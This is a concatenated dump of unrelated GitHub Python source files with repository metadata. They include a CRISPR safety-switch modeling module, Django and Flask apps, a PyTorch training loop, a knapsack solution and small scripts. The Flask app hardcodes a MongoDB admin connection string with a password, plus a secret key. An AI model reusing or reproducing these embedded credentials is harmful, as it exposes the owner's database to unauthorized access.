main()\n","repo_name":"omaskery/advent-of-code-2020","sub_path":"day8a.py","file_name":"day8a.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20454129185","text":"from typing import Tuple\n\nimport sbol3\nimport tyto\n\n###########################\n# Modules:\nfrom sbol_utilities.workarounds import get_toplevel\nfrom sbol_utilities.component import constitutive, contains, add_feature, add_interaction, order\n\nfrom shared_global_names import RECOMBINATION\n\n\ndef make_crispr_module(vector: sbol3.Feature) -> Tuple[sbol3.Feature, sbol3.Feature]:\n \"\"\"Add a CRISPR module to the system, comprising both genome editing and kill switch\n\n :param vector: Vector into which the coding materials for the CRISPR module will be added\n :return: tuple of sgRNA1 ncRNA, genome for attaching regulation to\n \"\"\"\n # find system containing the vector\n system = get_toplevel(vector)\n if not isinstance(system, sbol3.Component):\n raise ValueError(f'System should be a component but was not: {system}')\n\n # Add constitutive Cas9 expression # TODO: Change so that it isn't always constitutive\n cas9_cds = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.CDS], name=\"Cas9-coding\"))\n constitutive(cas9_cds)\n cas9 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_PROTEIN], name=\"Cas9\"))\n add_interaction(sbol3.SBO_GENETIC_PRODUCTION, {cas9_cds: sbol3.SBO_TEMPLATE, cas9: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_DEGRADATION, name='Cas degradation', participants={cas9: sbol3.SBO_REACTANT})\n\n # Add the sgRNA coding regions\n sgRNA1_dna = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.sgRNA], name=\"sgRNA1-coding\"))\n sgRNA2_dna = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.sgRNA], name=\"sgRNA2-coding\"))\n constitutive(sgRNA2_dna)\n\n # Then their products and binding to Cas9\n sgRNA1 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_RNA], name=\"sgRNA1\"))\n sgRNA2 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_RNA], name=\"sgRNA2\"))\n add_interaction(sbol3.SBO_GENETIC_PRODUCTION, {sgRNA1_dna: sbol3.SBO_TEMPLATE, sgRNA1: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_GENETIC_PRODUCTION, {sgRNA2_dna: sbol3.SBO_TEMPLATE, sgRNA2: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_DEGRADATION, name='gRNA degradation', participants={sgRNA1: sbol3.SBO_REACTANT})\n add_interaction(sbol3.SBO_DEGRADATION, name='gRNA degradation', participants={sgRNA2: sbol3.SBO_REACTANT})\n Cas9_sgRNA1 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_NON_COVALENT_COMPLEX], name=\"Cas9-sgRNA1\"))\n Cas9_sgRNA2 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_NON_COVALENT_COMPLEX], name=\"Cas9-sgRNA2\"))\n add_interaction(sbol3.SBO_NON_COVALENT_BINDING, name='Cas-gRNA binding',\n participants={sgRNA1: sbol3.SBO_REACTANT, cas9: sbol3.SBO_REACTANT, Cas9_sgRNA1: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_NON_COVALENT_BINDING, name='Cas-gRNA binding',\n participants={sgRNA2: sbol3.SBO_REACTANT, cas9: sbol3.SBO_REACTANT, Cas9_sgRNA2: sbol3.SBO_PRODUCT})\n\n # Finally, the Cas9 complex editing actions, including \"expended\" post-edit Cas9\n genome = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_DNA], name='genome'))\n ex_Cas9_1 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_NON_COVALENT_COMPLEX], name=\"postedit Cas9-sgRNA1\"))\n ex_Cas9_2 = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_NON_COVALENT_COMPLEX], name=\"postedit Cas9-sgRNA2\"))\n edited_genome = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_DNA], name='edited genome'))\n add_interaction(tyto.SBO.cleavage, name='Cas cleavage',\n participants={Cas9_sgRNA1: sbol3.SBO_REACTANT, vector: sbol3.SBO_REACTANT,\n ex_Cas9_1: sbol3.SBO_PRODUCT})\n add_interaction(tyto.SBO.cleavage, name='Cas cleavage',\n participants={Cas9_sgRNA2: sbol3.SBO_REACTANT, genome: sbol3.SBO_REACTANT,\n edited_genome: sbol3.SBO_PRODUCT, ex_Cas9_2: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_DEGRADATION, name='Cas degradation', participants={Cas9_sgRNA1: sbol3.SBO_REACTANT})\n add_interaction(sbol3.SBO_DEGRADATION, name='Cas degradation', participants={Cas9_sgRNA2: sbol3.SBO_REACTANT})\n add_interaction(sbol3.SBO_DEGRADATION, name='Cas degradation', participants={ex_Cas9_1: sbol3.SBO_REACTANT})\n add_interaction(sbol3.SBO_DEGRADATION, name='Cas degradation', participants={ex_Cas9_2: sbol3.SBO_REACTANT})\n\n # Return the kill-switch gRNA coding region for use in establishing regulation, genome for output\n return sgRNA1_dna, genome\n\n\ndef make_tf_module(vector: sbol3.Feature, repressor: bool, second: bool = False) -> Tuple[sbol3.Feature, sbol3.Feature]:\n \"\"\"Add a transcription factor regulation module to the system\n\n :param vector: Vector into which the coding materials for the TF module will be added\n :param repressor: true for repressor, false for activator\n :param second: true if this is the second, and thus should be \"TF2\" instead of \"TF\"\n :returns: tuple of CDS and promoter features, for connecting to regulation\n \"\"\"\n\n # find system containing the vector\n system = get_toplevel(vector)\n if not isinstance(system, sbol3.Component):\n raise ValueError(f'System should be a component but was not: {system}')\n name = \"TF2\" if second else \"TF\"\n\n # Add the cds of the TF, the TF, and the production relation between them\n tf_cds = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.CDS], name=f'{name}-coding'))\n tf = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_PROTEIN], name=name))\n add_interaction(sbol3.SBO_GENETIC_PRODUCTION, {tf_cds: sbol3.SBO_TEMPLATE, tf: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_DEGRADATION, name=f'{name} degradation', participants={tf: sbol3.SBO_REACTANT})\n\n # Make the promoter that is regulated by the TF and add its regulation\n promoter = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.promoter]))\n if repressor:\n add_interaction(sbol3.SBO_INHIBITION, name=f'TF Repression',\n participants={tf: sbol3.SBO_INHIBITOR, promoter: sbol3.SBO_INHIBITED})\n else:\n add_interaction(sbol3.SBO_STIMULATION, name=f'TF Activation',\n participants={tf: sbol3.SBO_STIMULATOR, promoter: sbol3.SBO_STIMULATED})\n\n # Return the cds and the promoter\n return tf_cds, promoter\n\n\ndef make_recombinase_module(vector: sbol3.Feature, cre_on: bool, second: bool = False) -> Tuple[sbol3.Feature, sbol3.Feature]:\n \"\"\"Add a Cre-recombinase regulation module to the system\n\n :param vector: Vector into which the coding materials for the Cre module will be added\n :param cre_on: true if Cre activates expression, false if Cre shuts off expression\n :param second: true if this is the second, and thus should be \"CreH\" instead of \"Cre\"\n :returns: tuple of CDS and regulatory features, for connecting to regulation\n \"\"\"\n\n # find system containing the vector\n system = get_toplevel(vector)\n if not isinstance(system, sbol3.Component):\n raise ValueError(f'System should be a component but was not: {system}')\n name = \"CreH\" if second else \"Cre\"\n\n # Add the cds of the TF, the TF, and the production relation between them\n cre_cds = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.CDS], name=f'{name}-coding'))\n cre = add_feature(system, sbol3.LocalSubComponent([sbol3.SBO_PROTEIN], name=name))\n add_interaction(sbol3.SBO_GENETIC_PRODUCTION, {cre_cds: sbol3.SBO_TEMPLATE, cre: sbol3.SBO_PRODUCT})\n add_interaction(sbol3.SBO_DEGRADATION, name=f'{name} degradation', participants={cre: sbol3.SBO_REACTANT})\n\n # Make the promoter region that is regulated by the TF and add its regulation\n cre_region = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.engineered_region], name=f'{name} regulated region'))\n edited_cre_region = contains(vector, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.engineered_region], name=f'edited {name} regulated region'))\n promoter = contains(cre_region, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.promoter], name=f'{name} region promoter'))\n cre_target1 = contains(cre_region, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.binding_site], name=f'{name} 5\\' target'))\n cre_target2 = contains(cre_region, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[tyto.SO.binding_site], name=f'{name} 3\\' target'))\n if cre_on: # wrap the targets around a terminator for Cre to turn off expression\n terminator = contains(cre_region, sbol3.LocalSubComponent([sbol3.SBO_DNA], roles=[sbol3.SO_TERMINATOR], name=f'{name}-targeted terminator'))\n order(promoter, cre_target1)\n order(cre_target1, terminator)\n order(terminator, cre_target2)\n add_interaction(RECOMBINATION, name=f'Cre recombination',\n participants={cre: sbol3.SBO_MODIFIER, cre_region: sbol3.SBO_REACTANT,\n terminator: sbol3.SBO_MODIFIED, edited_cre_region: sbol3.SBO_PRODUCT})\n else: # wrap the targets around the promoter for Cre to turn off expression\n order(cre_target1, promoter)\n order(promoter, cre_target2)\n add_interaction(RECOMBINATION, name=f'Cre recombination',\n participants={cre: sbol3.SBO_MODIFIER, cre_region: sbol3.SBO_REACTANT,\n promoter: sbol3.SBO_MODIFIED, edited_cre_region: sbol3.SBO_PRODUCT})\n\n # Return the cds and the promoter\n return cre_cds, cre_region\n","repo_name":"TASBE/CRISPR-safety-switches","sub_path":"builders.py","file_name":"builders.py","file_ext":"py","file_size_in_byte":9630,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"19230501984","text":"import logging\nfrom settings.config import Config\nfrom logging.handlers import RotatingFileHandler\n\n\ndef get_logger(name):\n logger = logging.getLogger(name)\n logger.setLevel(level=Config.LOG_PRINT_HANDLER)\n handler = RotatingFileHandler(Config.LOG_PATH + \"/dsm-agent.log\", maxBytes=10 * (1024 * 1024), backupCount=100)\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n handler.setFormatter(formatter)\n console = logging.StreamHandler()\n console.setLevel(Config.LOG_PRINT_CONSOLE)\n console.setFormatter(formatter)\n logger.addHandler(handler)\n logger.addHandler(console)\n return logger\n","repo_name":"wangchenghub/agent","sub_path":"logs/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74156721440","text":"import torch.optim as optim\nfrom Utils import Model\nimport torchvision as tv\nimport torch.utils.data as data\nfrom Utils import Utils\nimport torch\n\nif __name__ == '__main__':\n transform = tv.transforms.Compose([\n tv.transforms.Resize((100,100)),\n tv.transforms.RandomHorizontalFlip(),\n tv.transforms.ToTensor()\n ])\n im_reader = Utils.pil_loader\n batch_s = 2000\n model = Model.My_Model()\n device = torch.device('cuda')\n model = torch.nn.DataParallel(model).to(device)\n parameters = list(model.parameters())\n dataset = tv.datasets.ImageFolder(r'D:\\Fruits\\archive', transform=transform,loader=im_reader)\n train_data_loader = data.DataLoader(dataset, batch_size=batch_s, shuffle=True, num_workers=1, drop_last=True)\n criterion = torch.nn.CrossEntropyLoss() # weight= torch.tensor((.3,.7)).to(device)\n optimizer = optim.Adam(parameters, lr=0.003)\n lr_scheduler = optim.lr_scheduler.StepLR(optimizer, step_size=10, gamma=0.8)\n \n print('Training...')\n for epochs in range(30):\n\n cm_loss = 0.0\n cm_acc = 0.0\n batches = 0\n\n for i, data in enumerate(train_data_loader, 0):\n image, label = data\n a_lbl = label.to(device) #torch.eq(label.to(device),torch.zeros((batch_s)).to(device)).long()\n image = image.to(device)\n output = model(image)\n b_loss = criterion(output, a_lbl)\n \n optimizer.zero_grad()\n b_loss.backward()\n optimizer.step()\n cm_loss += b_loss.item()\n batches+=1\n preds = torch.argmax(output,dim=1)\n\n correct = torch.eq(preds,a_lbl).int()\n cm_acc += torch.sum(correct).data/batch_s\n\n \n print('Epoch: %d, acc: %.2f, loss: %.3f' %(epochs, cm_acc /batches, cm_loss / batches))\n lr_scheduler.step()\n\n\n print('Finished Training')\n \n PATH = r'./Models/Apple_Classifier_d.1_e50.pth'\n torch.save(model.state_dict(), PATH)\n\n\n \n # dataloader = \n\n # model = Model.My_Model()\n\n\n # trainLoop\n\n # loss = \n # optimizer\n\n\n\n\n","repo_name":"usmancheema89/ai_coding_test","sub_path":"Main Train.py","file_name":"Main Train.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"23718274842","text":"from django.urls import path\n\nfrom music import views\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n\n path('signup/', views.signup, name=\"signup\"),\n\n path(\"new/genre/\", views.GenreCreate.as_view(), name=\"create-genre\"),\n\n path(\"new/label/\", views.CreateLabel.as_view(), name=\"create-label\"),\n\n path(\"all/\", views.MusicList.as_view(), name=\"musics\"),\n\n path(\"new/\", views.create_music, name=\"create-music\"),\n\n path(\"update//\", views.UpdateMusic.as_view(), name=\"update-music\"),\n\n path(\"open//\", views.MusicDetail.as_view(), name=\"music\"),\n\n]","repo_name":"vikasedu10/music-app","sub_path":"music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"38502829441","text":"from login import LoginWindow\nfrom game import Game\nfrom client import Client\nimport logging\n\nlinker = Client()\n\nuserinfo = None\n\nlogin_window = LoginWindow(linker)\nlogin_window.add_frame()\n\nuserinfo = login_window.get_userinfo()\nif not userinfo:\n exit()\nlogging.info('Login in as : %s', userinfo)\n\ngame = Game(userinfo, linker)\ngame.run()\ndel game\n","repo_name":"Straight-A-students/cuddly-winner","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"12231746059","text":"# https://www.acmicpc.net/problem/12865\n\nN, K = map(int, input().split())\nstuff = [(0, 0)]\nfor _ in range(N):\n W, V = map(int, input().split())\n stuff.append((W, V))\ndp = [[0] * (K+1) for _ in range(N+1)]\n\nfor i in range(1, N+1):\n for j in range(1, K+1):\n W = stuff[i][0]\n V = stuff[i][1]\n if j < W:\n dp[i][j] = dp[i-1][j]\n else:\n dp[i][j] = max(dp[i-1][j-W] + V, dp[i-1][j])\nprint(max(dp[-1]))\n\n\n","repo_name":"Algo-Git/Code","sub_path":"37차시/BOJ12865/BOJ_12865_junyeong.py","file_name":"BOJ_12865_junyeong.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"15380654812","text":"from django.shortcuts import render\nfrom datetime import datetime, timedelta\nfrom django.http import HttpResponse\n\n# Create your views here.\n\n# cookie will save the data in the client server\ndef cookie_settings(request):\n response = render(request, 'cookie_settings.html')\n response.set_cookie('name', 'sagor') # key value pair\n response.set_cookie('name', 'ahmed', max_age= 10) # validation till 10s \n response.set_cookie('name', 'ahmed', expires= datetime.utcnow()+timedelta(days=7)) # validation till 7 days \n return response\n\ndef cookie_getting(request):\n name = request.COOKIES.get('name')\n return render(request, 'cookie_getting.html', {'name': name})\n\n\ndef delete_cookie(request):\n response = render(request, 'delete_cookie.html')\n response.delete_cookie('name')\n return response\n \n \n \n# session will save the date in the main backend database\ndef set_session(request):\n datas = {\n 'name':'sagor',\n 'age': 25,\n 'language': 'bangla'\n }\n \n request.session.update(datas)\n print(request.session.get_session_cookie_age()) # validity till how many days\n print(request.session.get_expiry_date()) # see the expired date of session \n return render(request, 'set_session.html')\n\n\ndef get_session(request):\n if 'name' in request.session:\n name = request.session.get('name', 'Guest') # by default will set Guest or any \n age = request.session.get('age')\n lan = request.session.get('language')\n request.session.modified = True # 10s er vitore reload korle aber 10s er jonno cholbe\n return render(request, 'get_session.html', {'name': name, 'age': age, 'lan': lan})\n else:\n return HttpResponse('Cookie is expired.\\nLog in agein !!')\n\n\ndef delete_session(request):\n # del request.session['name'] # delete only name\n request.session.flush() # it will delete everythis\n return render(request, 'delete_session.html')","repo_name":"sagorluc/phitron_all_in_one","sub_path":"7. Django framework/week 01 Start with Django/Module 01 intro,apps,project/main_10_set_cookie_session/app10/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17430819478","text":"#!/usr/bin/python3\n#Noel & KJ\n# 09 October 2019\n\n'''Using a walker for loop, create a loop that prints numbers from 1-15. '''\nlist = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\n\nfor number in list:\n print(number)\n ","repo_name":"NoelGlamann/PythonPractices","sub_path":"walkerfor.py","file_name":"walkerfor.py","file_ext":"py","file_size_in_byte":228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6697579595","text":"from xml.etree import ElementTree\nfrom concierge.services_models import Service, ServiceFormat, ServiceResource, ResourceKeyword, ResourceMethod, MethodParameter\nfrom common import rest_methods, rest_return_formats, rest_method_parameters\n\n\ndef parse_metadataResourceMethod(xml_object, parent_resource):\n '''returns method_type, parameters'''\n method_type_str= xml_object.get('type')\n method_type= getattr(rest_methods,method_type_str)\n parameterlist_xml= xml_object.findall('parameter')\n parameters= [MethodParameter(parameter=getattr(rest_method_parameters, p.text)) for p in parameterlist_xml]\n method= ResourceMethod(type=method_type, parameters=parameters)\n return method\n\ndef parse_metadataResource(xml_object):\n '''returns url, keywords, methods, subresources'''\n url= xml_object.get('url')\n keywords_xml= xml_object.find('keywords')\n keywords= [ResourceKeyword(keyword=k.text) for k in keywords_xml.getchildren()] if keywords_xml is not None else []\n resource= ServiceResource(url=url, keywords=keywords)\n resourcelist_xml= xml_object.findall('resource')\n resource.resources = [parse_metadataResource(resource_xml) for resource_xml in resourcelist_xml]\n methodlist_xml= xml_object.findall('method')\n resource.methods = [parse_metadataResourceMethod(method, resource) for method in methodlist_xml]\n return resource\n\ndef parse_metadata(xml):\n '''returns name, url, description, formats, resource'''\n service_xml = ElementTree.fromstring(xml)\n assert service_xml.tag=='service'\n name= service_xml.get('name')\n url= service_xml.get('url')\n assert url[-1]==\"/\" #convention \n descriptions_xml= service_xml.find('description')\n description= descriptions_xml.text if descriptions_xml is not None else \"\"\n formats_xml= service_xml.find('supported_formats')\n formats= [ServiceFormat(format=getattr(rest_return_formats, f.text)) for f in formats_xml.getchildren()]\n root_resource_xml= service_xml.find('resource')\n root_resource= parse_metadataResource(root_resource_xml)\n service_metadata= Service(name=name, url=url, description=description, formats=formats, resources=[root_resource])\n return service_metadata\n","repo_name":"miguelvps/pi","sub_path":"concierge/concierge/service_metadata_parser.py","file_name":"service_metadata_parser.py","file_ext":"py","file_size_in_byte":2203,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"35164413069","text":"from libs.model import *\nimport pandas as pd\n\ntrain_df = pd.read_csv(\"../data/train.csv\")\ntest_df = pd.read_csv(\"../data/test.csv\")\n\nmodel_params = {\n 'mix_texts': False,\n 'clean_texts': True,\n 'vectorization': 'tfidf',\n 'use_LSA': False,\n 'model_name': 'logistic'\n}\n\nuse_model(train_df, test_df, model_params)","repo_name":"jordi-zaragoza/nlp-twitter-natural-disaster","sub_path":"src/use_submit.py","file_name":"use_submit.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74738522081","text":"import glob\r\n\r\nfrom PIL import Image\r\nimport PIL.ImageOps \r\nimport os\r\n\r\n\r\n\r\ndef CalculateSize(files):\r\n\r\n size_x=[]\r\n\r\n size_y=[]\r\n\r\n \r\n\r\n for file in files:\r\n\r\n image =Image.open(file)\r\n\r\n size_x.append(image.size[0])\r\n\r\n size_y.append(image.size[1])\r\n\r\n #print (size_x)\r\n\r\n #print (size_y)\r\n\r\n \r\n\r\n x_min = min(size_x)\r\n\r\n y_min = min(size_y) \r\n\r\n \r\n\r\n total_x_size = x_min * len(files)\r\n\r\n total_y_size = y_min * len(files)\r\n\r\n \r\n\r\n #print(\"x_min:\", x_min)\r\n\r\n #print(\"y_min:\", y_min)\r\n\r\n #print(\"total_x_size\",total_x_size)\r\n\r\n #print(\"total_y_size\",total_y_size)\r\n\r\n \r\n\r\n return x_min,y_min,total_x_size,total_y_size\r\n\r\n\r\n\r\ndef ResizeTomin(files,x_min,y_min,x_size,y_size):\r\n\r\n file_list=[]\r\n\r\n for file in files:\r\n\r\n image = Image.open(file)\r\n\r\n resized_file = image.resize((x_min,y_min))\r\n\r\n file_list.append(resized_file)\r\n\r\n #print(resized_file.size)\r\n\r\n #resized_file.show()\r\n\r\n #resized_file.close()\r\n\r\n \r\n\r\n return file_list, x_size, y_size,x_min, y_min\r\n\r\ndef ResizeTomax(files,x_min,y_min,x_size,y_size):\r\n\r\n file_list=[]\r\n\r\n for file in files:\r\n\r\n image = Image.open(file)\r\n\r\n resized_file = image.resize((x_min,y_min))\r\n\r\n file_list.append(resized_file)\r\n\r\n #print(resized_file.size)\r\n\r\n #resized_file.show()\r\n\r\n #resized_file.close()\r\n\r\n \r\n\r\n return file_list, x_size, y_size,x_min, y_min\r\n\r\n\r\ndef ImageMerge(file_list,x_size,y_size,x_min,y_min,Name):\r\n \r\n path = \"/home/ubuntu/braille/static/image/\"\r\n FileName= Name\r\n TypeOf = \".PNG\"\r\n\r\n saveImageFileName = path + FileName + TypeOf\r\n\r\n new_image = Image.new(\"L\",(x_size,y_min))\r\n\r\n for index in range(len(file_list)):\r\n\r\n area=((index * x_min),0,(x_min*(index+1)), y_min)\r\n\r\n new_image.paste(file_list[index],area) \r\n\r\n #new_image.show() \r\n\r\n new_image.save(saveImageFileName,\"PNG\",quality=80, optimize=True, progressive=True)\r\n\r\n #new_image.save(\"result.png\",\"PNG\")\r\n\r\n #new_image.close()\r\n\r\n return new_image\r\n \r\n\r\ndef Paste_Image(files):\r\n\r\n x_min,y_min,x_size,y_size=CalculateSize(files)\r\n\r\n file_list,x_size,y_size,x_min,y_min = ResizeTomin(files,x_min,y_min,x_size,y_size)\r\n\r\n Name = MakeName(files)\r\n\r\n image=ImageMerge(file_list,x_size,y_size,x_min,y_min,Name) \r\n return image\r\n\r\n\r\n\r\n#############################################################################\r\n\r\n### Main()\r\n\r\n#############################################################################\r\n\r\nif __name__ == '__main__':\r\n\r\n pass\r\n\r\n\r\n\r\ndef SaveImage(list):\r\n target_dir=\"/home/ubuntu/braille/BR_image/test/\"\r\n \r\n files = []\r\n \r\n for i in list:\r\n s = 0\r\n f = 6\r\n if len(i) == 6:\r\n files.append(target_dir+i+\".PNG\")\r\n else:\r\n for x in range(len(i)//6):\r\n files.append(target_dir+i[s:f]+\".PNG\")\r\n s = s + 6\r\n f = f + 6\r\n\r\n return files\r\n\r\ndef MakeName(list):\r\n numberlist = []\r\n for i in list:\r\n st = os.path.split(i)\r\n st1 = os.path.splitext(st[1])\r\n numberlist.append(st1[0])\r\n str_numberlist = ''.join(numberlist)\r\n abc = str_numberlist[0:89]\r\n return abc\r\n","repo_name":"Rhowanho/braille","sub_path":"SaveTheImage.py","file_name":"SaveTheImage.py","file_ext":"py","file_size_in_byte":3326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21430779538","text":"from flask import Flask, render_template, session, redirect\nfrom functools import wraps\nimport pymongo\n\napp = Flask(__name__)\napp.secret_key = b'\\xcc^\\x91\\xea\\x17-\\xd0W\\x03\\xa7\\xf8J0\\xac8\\xc5'\n\n# Database\nmongo_url = mongo_uri = \"mongodb://admin:7pmiUS9mcOXUf96J@ac-gtzdkbl-shard-00-00.l6gtdgv.mongodb.net:27017,ac-gtzdkbl-shard-00-01.l6gtdgv.mongodb.net:27017,ac-gtzdkbl-shard-00-02.l6gtdgv.mongodb.net:27017/?ssl=true&replicaSet=atlas-11knd8-shard-0&authSource=admin&retryWrites=true&w=majority\"\nclient = pymongo.MongoClient(mongo_url)\ndb = client.db\n\n# Decorators\ndef login_required(f):\n @wraps(f)\n def wrap(*args, **kwargs):\n if 'logged_in' in session:\n return f(*args, **kwargs)\n else:\n return redirect('/')\n \n return wrap\n\n# Routes\nfrom user import routes\nfrom analytics import routes\n@app.route('/')\ndef home():\n if 'logged_in' in session:\n return redirect('/static/dashboard.html')\n return redirect('/static/index.html')\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000, debug=True)","repo_name":"empaid/pollution","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"42474835017","text":"import boto3\nfrom os import getenv\nimport json\nfrom .external_producer import ExternalProducer, ExternalProducerException\n\n\nclass CakeProduceManagerException(ExternalProducerException):\n pass\n\n\nclass EmptyParameterException(CakeProduceManagerException):\n pass\n\n\nclass CakeProduceManager(ExternalProducer):\n event_type = 'order_placed'\n\n def __init__(self):\n \"\"\"\n \"\"\"\n region_name = getenv('REGION')\n if not region_name:\n detail = 'ENV variable \"REGION\" can\\'t be empty'\n raise EmptyParameterException(detail)\n\n cake_producer_email = getenv('CAKE_PRODUCER_EMAIL')\n if not cake_producer_email:\n detail = 'ENV variable \"CAKE_PRODUCER_EMAIL\" can\\'t be empty'\n raise EmptyParameterException(detail)\n\n ordering_system_email = getenv('ORDERING_SYSTEM_EMAIL')\n if not ordering_system_email:\n detail = 'ENV variable \"ORDERING_SYSTEM_EMAIL\" can\\'t be empty'\n raise EmptyParameterException(detail)\n\n self.region_name = region_name\n self.cake_producer_email = cake_producer_email\n self.ordering_system_email = ordering_system_email\n\n self.email_client = boto3.client(\n 'ses',\n region_name=region_name\n )\n\n def handle_orders(self, orders_placed: list):\n \"\"\"Handling the order and notifying the cake producers\n \"\"\"\n email_results = []\n\n for order in orders_placed:\n email_results.append(\n self.notify_cake_producers_by_email(order)\n )\n\n print(email_results)\n return email_results\n\n def notify_cake_producers_by_email(self, order):\n \"\"\"Sending an Email to cake producer\n \"\"\"\n params = {\n 'Destination': {\n 'ToAddresses': [self.cake_producer_email]\n },\n 'Message': {\n 'Body': {\n 'Text': {\n 'Data': json.dumps(order)\n }\n },\n 'Subject': {\n 'Data': 'New cake order'\n }\n },\n 'Source': self.ordering_system_email\n }\n\n return self.email_client.send_email(**params)\n\n","repo_name":"mohovkm/cake_ordering_system_aws_python","sub_path":"app/modules/cake_produce_manager.py","file_name":"cake_produce_manager.py","file_ext":"py","file_size_in_byte":2265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"8227974267","text":"from mcpi.minecraft import Minecraft\nimport mcpi.block as block\nmc = Minecraft.create()# enter server ip\n\n\n\n#spawn melons on players\n\nwhile True:\n players = mc.getPlayerEntityIds()\n for i in Players:\n x = i.x + 2\n y = i.y\n z = i.z + 2\n mc.setBlock(x, y, z, block.MELON.id)\n pause(1)\n\n","repo_name":"NicGray/AssortedMCPIPrograms","sub_path":"melons.py","file_name":"melons.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"21810381453","text":"\"\"\"Djlint tests specific to --preserve-leading-space option.\n\nrun::\n\n pytest tests/test_config/test_preserve_blank_lines/test_config.py --cov=src/djlint --cov-branch \\\n --cov-report xml:coverage.xml --cov-report term-missing\n\n pytest tests/test_config/test_preserve_blank_lines/test_config.py::test_config\n\n\"\"\"\n# pylint: disable=C0116\nfrom click.testing import CliRunner\n\nfrom src.djlint import main as djlint\n\n\ndef test_config(runner: CliRunner) -> None:\n\n result = runner.invoke(\n djlint,\n [\n \"tests/test_config/test_preserve_blank_lines/html.html\",\n \"--check\",\n \"--preserve-leading-space\",\n \"--preserve-blank-lines\",\n ],\n )\n\n assert result.exit_code == 0\n","repo_name":"ajlive/djLint","sub_path":"tests/test_config/test_preserve_blank_lines/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"2563143688","text":"import typing as t\n\nimport typer\nimport aiohttp\nimport aiofile\n\nfrom asyncio import Semaphore, sleep, run, wait_for, gather, set_event_loop_policy, WindowsSelectorEventLoopPolicy\nfrom functools import wraps\nfrom pathlib import Path\n\nfrom piped_api import PipedClient\nfrom piped_api.client import APIError\n\n\nCLIENT = PipedClient()\n\"\"\"A Piped client.\"\"\"\n\nROOT_PATH = Path(__file__).parent\n\"\"\"Root path of the project.\"\"\"\nTO_DOWNLOAD_PATH = ROOT_PATH / 'to_download.txt'\n\"\"\"A list of YouTube IDs to download.\"\"\"\nDOWNLOAD_INTO = ROOT_PATH / 'downloaded'\n\"\"\"To what folder should the files be downloaded?\"\"\"\nDOWNLOAD_MB = 5\n\"\"\"How much MB to process per download chunk? Choose your average download speed: lower or higher values will make download slower.\"\"\"\nMAX_TASKS = 5\n\"\"\"Maximum number of concurrent downloads.\"\"\"\n\nTO_DOWNLOAD = set(video_id.strip() for video_id in 